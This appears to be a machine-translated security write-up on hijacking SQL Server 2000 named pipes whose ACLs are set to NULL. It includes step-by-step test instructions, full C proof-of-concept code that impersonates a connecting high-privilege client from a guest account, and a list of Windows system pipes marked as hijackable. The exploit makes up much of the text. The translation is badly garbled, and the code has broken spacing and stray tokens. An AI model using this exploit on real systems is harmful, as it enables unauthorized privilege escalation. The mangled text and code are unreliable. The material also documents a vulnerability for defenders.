SQL SERVER 2000 Communication Pipeline reuse hijacking

Author: FLASHSKY
SITE: WWW. XFOCUS. NET
Mail: flashsky@xfocus.org

In SQL SERVER 2000 communication, a famous pipeline is allowed for communication, which is generally named as follows:
Default instance: \. \ pipe \ SQL \ query
Named instance: \. \ pipe \ MSSQL $ instancename \ SQL \ query
You can also use 1434 UDP to query the MPs queue name.

However, because SQL SERVER 2000 sets the ACL of this MPs queue to NULL, any user's permissions can hijack this MTS queue. Previous hijacking was performed by stopping the service first, create this name pipeline, and then start the service to reuse the pipeline with the name you have already created. However, SQL SERVER 2000 will determine whether there is an existing pipeline with the same name, and then take another name, in addition, users with low-level permissions cannot start or stop the service (unless they exploit some vulnerabilities). However, they actually test the pipeline and find that if the ACL is set to NULL, even the named pipe can hijack the pipe with the command first. You only need to reuse the pipe, and then establish the connections of several pipelines without releasing them (create several estimates and real pipelines ).
The number of instances at the time of creation is related, for example, in my test ,\\. \ pipe \ SQL \ query only needs to establish one connection to hijack, and \\. \ pipe \ lsass must be 4-5 before hijacking. However, the ACL of \. \ pipe \ lsass can only be hijacked by administrators)
If attackers reuse pipelines of the same name, they can create several pipelines that are not released (consuming normal pipeline instances ), then the Pipeline Connection initiated by the customer enters the pipeline listening process of the attacker program. The rest is the old saying that the initiator permission is obtained by using the simulation function:
The following is a simple example to hijack the SQL SERVER 2000 pipeline communication.
Environment: SQL SERVER 2000 + SP2
WIN2000 SERVER Chinese version + SP3
Test process:
1. First, create an SQL server to allow pipeline communication, and integrate WINDOWS verification, add a WINDOWS Local Account with high permissions that allows SQL server to log on, and start the SQL SERVER service
2. Create a TEST. TXT file under drive C, set ACL to GUEST, all are rejected, others are allowed
3. On another machine B, log on to the added SQL SERVER account, and set the client network library to only pipe (if there are multiple, A random connection may be selected, but it is not necessarily the pipeline for communication)
4. Then, use the SQL server Enterprise Manager to establish a connection to SQL SERVER, and use integrated WINDOWS verification.
5. The machine on the SQL SERVER Side enters the GUEST account to run the C code program below. It will show that the TEST. TXT file cannot be opened first, and then the program will be hijacked, waiting for the client to connect to the pipeline
6. Connect to SQL server on machine B, and host A's program will intercept this pipeline as A high-Permission login user, and then open the file that has no permission to open first.

Of course, the actual attack itself may not be of great significance, because it is estimated that currently SQL SERVER uses a few pipelines to establish communications, and when all allow, it will usually take the initiative to select the TCP Method for connection, however, it also shows that a pipeline that lacks well-protected ACL can also be hijacked using post-development multiplexing, which reduces many problems that require service suspension or pre-prediction, be careful when writing server-side pipeline applications.

Hijacking code in SQL SERVER 2000

# Include <windows. h> # include <winbase. h> # include <stdio. h> # include <stdlib. h> void main () {HANDLE pipea; FILE * fp; DWORD ret; DWORD num; HANDLE pipeb [100]; int I; int dwSize; char szUser [256]; DWORD dwNumber = 0; // In the first test, the file fp = fopen ("C: \ test.txt", "w") cannot be opened under the GUEST permission "); if (fp = NULL) printf ("now you don't open file; \ n"); // create a pipe with the same name, reuse existing SQL SERVER pipea = CreateNamedPipe ("\\\\. \ pipe \ SQL \ query ", PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 100,204 8, 2048, temperature, NULL); if (pipea = INVALID_HANDLE_VALUE) {ret = GetLastError (); printf ("error in createnamedpipe! Code = % d \ n ", ret); return;} // loss of other normal instances if (WaitNamedPipe ("\\\\. \ pipe \ SQL \ query ", NMPWAIT_WAIT_FOREVER) = 0) {printf (" no this pipe \ n "); return;} // you can adjust the number, SQL server only needs to adjust one for (I = 0; I <1; I ++) {Sleep (20 ); if (pipeb [I] = CreateFile ("\\\\. \ pipe \ SQL \ query ", GENERIC_WRITE | GENERIC_READ, 0, (LPSECURITY_ATTRIBUTES) NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL) = INVALID_HANDLE_VALUE) {printf ("ope N pipe failed \ n "); return;} // WriteFile (pipeb [I]," test1 ", 5, & num, NULL ); // WriteFile (pipeb [I], "test2", 5, & num, NULL) ;}// then wait for the connection to ConnectNamedPipe (pipea, NULL); ReadFile (pipea, (void *) & dwNumber, 4, & dwSize, NULL); // simulate the connected user ImpersonateNamedPipeClient (pipea); dwSize = 256; // obtain the user information GetUserName (szUser, & dwSize); printf ("Impersonating: % s \ n", szUser); // then test whether the file can be opened, proves that the permission fp = fopen ("C: \ tes is indeed elevated T.txt "," w "); if (fp! = NULL) printf ("now you can open file \ n"); DisconnectNamedPipe (pipea); CloseHandle (pipea); for (I = 0; I <1; I ++) closeHandle (pipeb [I]); return ;}

Supplement:
All pipelines have this vulnerability, that is, whether the ACL can be reused.
Such as //./pipe/lsass, which can be hijacked, but its ACL is defined as only administrator hijacking.
Currently, we have tested some of the default basic ACL settings for pipelines, which are not allowed to be copied by low-level users. However, the ACL settings for SQL pipelines are poor.
More services or other third-party services may have such pipelines that do not have good ACL protection. This means that the future reuse can also be successful.

Below is the result of the system pipeline test that I have enabled all the default WIN services and obtained (I have not enabled the terminal service, I have not installed the machine, and can test the terminal service installed ), in addition, it cannot be said that it is meaningless. I have seen an article that also specifically recommends using integrated verification and pipeline communication to obtain a safer SQL SERVER.
Pipe name (Number of instances, Maximum instances)

InitShutdown (2,-1) <--------------- can be hijacked under ADMIN
Net \ NtControlPipe5 (1, 1)
Llsrpc (2,-1) <--------------- can be hijacked under ADMIN
000001e8. 000 (2,-1) <----------- can be hijacked under ADMIN
Net \ NtControlPipe8 (1, 1)
Net \ NtControlPipe9 (1, 1)
ProfMapApi (2,-1) <-------------- can be hijacked under ADMIN
Epmapper (2,-1) <---------------- can be hijacked under ADMIN
WMIEP_454 (2,-1) <--------------- can be hijacked under ADMIN <------ the GUEST user can be hijacked
WMIEP_444 (2,-1) <--------------- can be hijacked under ADMIN <------ the GUEST user can be hijacked
Net \ NtControlPipe11 (1, 1)
WMIEP_3c8 (2,-1) <--------------- can be hijacked under ADMIN
Net \ NtControlPipe12 (1, 1)
Net \ NtControlPipe13 (1, 1)
Nddeapi (2,-1) <----------------- can be hijacked under ADMIN <------ the GUEST user can be hijacked
NetDDE (1, 1) returns an error message indicating that all MPs queue instances are busy. I do not know if ACL settings allow reuse.
Net \ NtControlPipe14 (1, 1)
Winsock2 \ CatalogChangeListener-e8-0 (1, 1) <----------------- can be hijacked under ADMIN
Net \ NtControlPipe15 (1, 1)
Winsock2 \ CatalogChangeListener-574-0 (1, 1) <----------------- can be hijacked under ADMIN
WMIEP_640 (2,-1) <----------------- can be hijacked under ADMIN
Winsock2 \ CatalogChangeListener-640-0 (1, 1) <----------------- can be hijacked under ADMIN
Net \ NtControlPipe25 (1, 1)
WMIEP_6f0 (2,-1) <----------------- can be hijacked under ADMIN
SQL \ console (1,-1) <--------------- can be hijacked under ADMIN <------ GUEST user can be hijacked
SQL \ QUERY (1,-1) <----------------- can be hijacked under ADMIN <------ GUEST user can be hijacked
Net \ NtControlPipe26 (1, 1)
Tsx_listener (1, 1) returns an error message indicating that all media transcoding queue instances are busy.
Winreg (2,-1) <----------------- can be hijacked under ADMIN
Winsock2 \ CatalogChangeListener-6f0-0 (1, 1) <----------------- can be hijacked under ADMIN

Which of the following can be hijacked under the GUEST permission?
WMIEP_454 (2,-1) <--------------- can be hijacked under ADMIN <------ the GUEST user can be hijacked
WMIEP_444 (2,-1) <--------------- can be hijacked under ADMIN <------ the GUEST user can be hijacked
Nddeapi (2,-1) <----------------- can be hijacked under ADMIN <------ the GUEST user can be hijacked
SQL \ console (1,-1) <--------------- can be hijacked under ADMIN <------ GUEST user can be hijacked
SQL \ QUERY (1,-1) <----------------- can be hijacked under ADMIN <------ GUEST user can be hijacked
I won't talk about SQL, but it is still unclear about the use of the SQL \ console pipeline. If there are some default uses, it is estimated that it is also a point.
An nddeapi can basically exist in an nddeapi application.
WMI is difficult. It seems that every connection will be created with the development of this method, so the post-reuse function will not be very useful. We can only use the method of predicting the name to reuse the attack in advance, however, the odd thing is that their permissions are different. Some WMI cannot be reused by GUEST, and some can. If you have time to test the pipeline communication generated by the connection between the WMI client and the server, it may also take the default pipe name, maybe it will be able to attack ,:)